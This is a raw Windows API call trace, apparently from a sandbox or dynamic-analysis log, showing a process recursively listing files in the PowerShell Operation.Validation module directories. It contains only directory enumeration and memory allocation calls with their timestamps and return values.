	[0158.541] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Diagnostics\\*", lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e05fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd4c0
	[0158.542] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e05fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0158.542] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e148c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Comprehensive", cAlternateFileName="COMPRE~1")) returned 1
	[0158.542] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x45dcde0
	[0158.543] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Diagnostics\\Comprehensive") returned 116
	[0158.543] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Diagnostics\\Comprehensive\\*", lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e148c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dd180
	[0158.544] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e148c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0158.544] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e3f39a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e3f39a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e3f39a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2f7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Comprehensive.Tests.ps1", cAlternateFileName="")) returned 1
	[0158.544] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e3f39a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e3f39a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e3f39a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2f7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Comprehensive.Tests.ps1", cAlternateFileName="")) returned 0
	[0158.544] FindClose (in: hFindFile=0x5dd180 | out: hFindFile=0x5dd180) returned 1
	[0158.544] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45dcde0 | out: hHeap=0x4f0000) returned 1
	[0158.544] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e1d6b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple", cAlternateFileName="")) returned 1
	[0158.544] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x45dcde0
	[0158.544] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Diagnostics\\Simple") returned 109
	[0158.544] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Diagnostics\\Simple\\*", lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e1d6b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dd180
	[0158.545] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e1d6b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0158.545] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e3f39a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e3f39a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e3f39a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x180, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Simple.Tests.ps1", cAlternateFileName="")) returned 1
	[0158.545] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e3f39a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e3f39a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e3f39a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x180, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Simple.Tests.ps1", cAlternateFileName="")) returned 0
	[0158.545] FindClose (in: hFindFile=0x5dd180 | out: hFindFile=0x5dd180) returned 1
	[0158.545] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45dcde0 | out: hHeap=0x4f0000) returned 1
	[0158.545] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e1d6b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple", cAlternateFileName="")) returned 0
	[0158.545] FindClose (in: hFindFile=0x5dd4c0 | out: hFindFile=0x5dd4c0) returned 1
	[0158.545] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45c4058 | out: hHeap=0x4f0000) returned 1
	[0158.545] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e3f39a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e3f39a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e3f39a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc4a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.PowerShell.Operation.Validation.Format.ps1xml", cAlternateFileName="")) returned 1
	[0158.545] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e19133, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e19133, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e19133, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x614, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.PowerShell.Operation.Validation.psd1", cAlternateFileName="")) returned 1
	[0158.546] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e19133, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e19133, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e19133, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3016, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.PowerShell.Operation.Validation.psm1", cAlternateFileName="")) returned 1
	[0158.546] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e3f39a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e3f39a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e3f39a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x15b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OperationValidationResources.psd1", cAlternateFileName="")) returned 1
	[0158.546] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e2971, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Test", cAlternateFileName="")) returned 1
	[0158.546] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x45c4058
	[0158.546] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test") returned 95
	[0158.546] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\*", lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e2971, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd4c0
	[0158.546] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e2971, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0158.546] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e19133, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e19133, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e19133, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x13b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Operation.Validation.Tests.ps1", cAlternateFileName="")) returned 1
	[0158.547] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e4074, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Modules", cAlternateFileName="")) returned 1
	[0158.547] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x45dcde0
	[0158.547] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules") returned 103
	[0158.547] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\*", lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e4074, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dd180
	[0158.558] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e4074, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0158.558] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e5961, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Example1.Diagnostics", cAlternateFileName="EXAMPL~1.DIA")) returned 1
	[0158.558] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x45ecde8
	[0158.558] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example1.Diagnostics") returned 124
	[0158.558] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example1.Diagnostics\\*", lpFindFileData=0x41be918 | out: lpFindFileData=0x41be918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e5961, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd1c0
	[0158.560] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x41be918 | out: lpFindFileData=0x41be918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e5961, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0158.560] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x41be918 | out: lpFindFileData=0x41be918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e60a0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Diagnostics", cAlternateFileName="DIAGNO~1")) returned 1
	[0158.560] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x45fcdf0
	[0158.560] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example1.Diagnostics\\Diagnostics") returned 136
	[0158.560] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example1.Diagnostics\\Diagnostics\\*", lpFindFileData=0x41be69c | out: lpFindFileData=0x41be69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e60a0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5ddf40
	[0158.560] FindNextFileW (in: hFindFile=0x5ddf40, lpFindFileData=0x41be69c | out: lpFindFileData=0x41be69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e60a0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0158.560] FindNextFileW (in: hFindFile=0x5ddf40, lpFindFileData=0x41be69c | out: lpFindFileData=0x41be69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e65b3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Simple", cAlternateFileName="")) returned 1
	[0158.560] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x460efa8
	[0158.561] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example1.Diagnostics\\Diagnostics\\Simple") returned 143
	[0158.561] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example1.Diagnostics\\Diagnostics\\Simple\\*", lpFindFileData=0x41be420 | out: lpFindFileData=0x41be420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e65b3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ddb40
	[0158.562] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x41be420 | out: lpFindFileData=0x41be420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e65b3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0158.562] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x41be420 | out: lpFindFileData=0x41be420*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e3f39a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e3f39a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e3f39a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Example1.Diagnostics.Tests.ps1", cAlternateFileName="")) returned 1
	[0158.562] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x41be420 | out: lpFindFileData=0x41be420*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e3f39a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e3f39a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e3f39a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Example1.Diagnostics.Tests.ps1", cAlternateFileName="")) returned 0
	[0158.562] FindClose (in: hFindFile=0x5ddb40 | out: hFindFile=0x5ddb40) returned 1
	[0158.562] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0158.562] FindNextFileW (in: hFindFile=0x5ddf40, lpFindFileData=0x41be69c | out: lpFindFileData=0x41be69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e65b3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Simple", cAlternateFileName="")) returned 0
	[0158.562] FindClose (in: hFindFile=0x5ddf40 | out: hFindFile=0x5ddf40) returned 1
	[0158.563] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45fcdf0 | out: hHeap=0x4f0000) returned 1
	[0158.563] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x41be918 | out: lpFindFileData=0x41be918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e60a0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Diagnostics", cAlternateFileName="DIAGNO~1")) returned 0
	[0158.563] FindClose (in: hFindFile=0x5dd1c0 | out: hFindFile=0x5dd1c0) returned 1
	[0158.563] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45ecde8 | out: hHeap=0x4f0000) returned 1
	[0158.563] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e6b0e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Example2.Diagnostics", cAlternateFileName="EXAMPL~2.DIA")) returned 1
	[0158.563] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x45ecde8
	[0158.564] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example2.Diagnostics") returned 124
